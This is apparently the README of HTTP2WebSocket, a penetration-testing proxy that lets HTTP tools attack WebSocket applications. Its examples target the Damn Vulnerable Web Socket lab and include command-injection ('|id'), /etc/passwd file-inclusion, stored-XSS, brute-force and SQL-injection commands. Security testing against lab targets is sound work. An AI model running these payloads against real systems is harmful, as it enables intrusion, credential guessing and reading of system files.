Tool to translate HTTP communication into Web Socket communication.

HTTP2WebSocket

Latest release: 1.0
License: GNU GPL

HTTP2WebSocket is tool to translate HTTP/1.1 traffic into Web Sockets traffic. It can be used in conjunction with standard pentesting tools like sqlmap, dirb, commix or others.
It supports:

• SSL (wss://)
• Proxy
• WS connection initiation based on HTTP Host header

Requirements

• request
• websocket-client

pip3 install request websocket-client

Installation

No installation is required.

Usage

HTTP2WebSocket act as a proxy between HTTP and Web Socket connection. It expects HTTP incomming traffic and translates it to Web Socket application.
GET method is used to discover endpoinds.
POST method is used to sent data to a web socket application.
HTTP2WebSocket can work in two ways. The default one is passing the exact HTTP body to the web socket. The second one is passing only the value of the parameter provided.
HTTP2WebSocket can be binded to a specific application (-t parameter) or it can be provided in each HTTP request through Host header.

Examples

Examples are based on Damn Vulnerable Web Socket virtual machine.

One WS app - full POST body

Run the listener on port 3333 and connect to dvws.local:8080 web socket app on every HTTP request:

python3 HTTP2WebSocket.py -l 3333 -t ws://dvws.local:8080

Brute force:

for i in 'abc' 'qwe' 'admin' 'asd' 'zxc'; do echo -n $i|base64; done > dict-passwords.b64
hydra -t 1 -L dict-passwords.b64 -P dict-passwords.b64 -s 3333 127.0.0.1 http-form-post /authenticate-user-prepared:'{"auth_user"\:"^USER^","auth_pass"\:"^PASS^"}':Incorrect

Command execution:

curl "http://127.0.0.1:3333/command-execution" -d '|id'

File inclusion:

curl --data '/etc/passwd' 127.0.0.1:3333/file-inclusion

Error SQL injection:

sqlmap -u http://127.0.0.1:3333/authenticate-user --data '{"auth_user":"YWFhYWE=","auth_pass":"YWFh"}' --tamper=base64encode --banner

Blind SQL injection:

sqlmap -u http://127.0.0.1:3333/authenticate-user-blind --data '{"auth_user":"YWFhYWE=","auth_pass":"YWFh"}' --tamper=base64encode --banner

Reflected XSS:

python2 xsssniper.py -u http://127.0.0.1:3333/reflected-xss --post --data="whatever"

Stored XSS:

curl http://127.0.0.1:3333/post-comments --data '{"name":"zzz","comment":"<script>alert(1111)</script>"}'
curl http://127.0.0.1:3333/show-comments -X POST

Discovering endpoints:

dirb http://127.0.0.1:3333/ endpoints-wordlist.txt

Other stuff:

nikto -host http://127.0.0.1:3333/

One WS app - POST body parameter value

Run the listener on port 4444 and connect to dvws.local:8080 web socket app on every HTTP request.
It sends value of the HTTP POST body parameter fuzz. Some tools (E.g. commix) don't recognise plain body which is used by WS app.

python3 HTTP2WebSocket.py -l 4444 -t ws://dvws.local:8080 -P fuzz

Command execution:

python2 commix.py --url "http://127.0.0.1:4444/command-execution" --data "fuzz=127.0.0.1" --skip-empty --technique=C --hostname

File inclusion :

python2 fimap.py -s -b --no-auto-detect -u "http://127.0.0.1:4444/file-inclusion" -P "fuzz=xxx"

Multiple WS apps - full POST body

Run the listener on port 5555. Take Host header from each HTTP request and use it as a target WS application.
NOTE: Protocol type has to be provided in HTTP Host header (E.g. Host: wss://localhost:1234)

python3 HTTP2WebSocket.py -l 5555

Brute force:

hydra -t 1 -L dict-passwords.b64 -P dict-passwords.b64 -s 5555 127.0.0.1 http-form-post /authenticate-user-prepared:'{"auth_user"\:"^USER^","auth_pass"\:"^PASS^"}':Incorrect:"H=Host: ws\://dvws.local\:8080"

Command execution:

curl "http://127.0.0.1:5555/command-execution" -d '|id' -H 'Host: ws://dvws.local:8080'

Discover endpoints:

dirb http://127.0.0.1:5555/ ~/endpoints-wordlist.txt -H Host:ws://dvws.local:8080

Other:

nikto -host http://127.0.0.1:5555/ -vhost ws://dvws.local:8080

Multiple WS apps - POST body parameter value

Run the listener on port 6666. Take Host header from HTTP request and use it as a target WS application.
In this example actual data which is passed to the web socket application is the value of the fuzz parameter.

python3 HTTP2WebSocket.py -l 6666 -P fuzz

Command execution:

python2 commix.py --url "http://127.0.0.1:6666/command-execution" --data "fuzz=127.0.0.1" --skip-empty --technique=C --hostname --host="ws://dvws.local:8080"

File inclusion:

curl --data '/etc/passwd' 127.0.0.1:6666/file-inclusion -H 'Host: ws://dvws.local:8080'

Error SQL injection:

sqlmap -u http://127.0.0.1:6666/authenticate-user --data '{"auth_user":"YWFhYWE=","auth_pass":"YWFh"}' --tamper=base64encode --banner --host="ws://dvws.local:8080"

Blind SQL injection:

sqlmap -u http://127.0.0.1:6666/authenticate-user-blind --data '{"auth_user":"YWFhYWE=","auth_pass":"YWFh"}' --tamper=base64encode --banner --host=ws://dvws.local:8080

All options example

Single example of all the options of HTTP2WebSocket:

In this example actual data which is passed to the web socket application is the value of the fuzz parameter.

python HTTP2WebSocket.py -l 7777 -t wss://dvws.local:8765 -P fuzz -v -k -p 127.0.0.1:8080

Parameter	Description
-l 7777	Listen on port 7777/TCP
-t wss://dvws.local:8765	Bind to dvws.local:8765 WS application through SSL
-P fuzz	Extract the value of the POST body parameter named fuzz and pass it to WS application
-v	Verbose mode
-k	Ignore SSL warnings and errors
-p 127.0.0.1:8080	Send all traffic through jttp proxy: 127.0.0.1:8080

Sending simple request:

curl http://127.0.0.1:7777/authenticate-user -v -d 'fuzz=dawid'
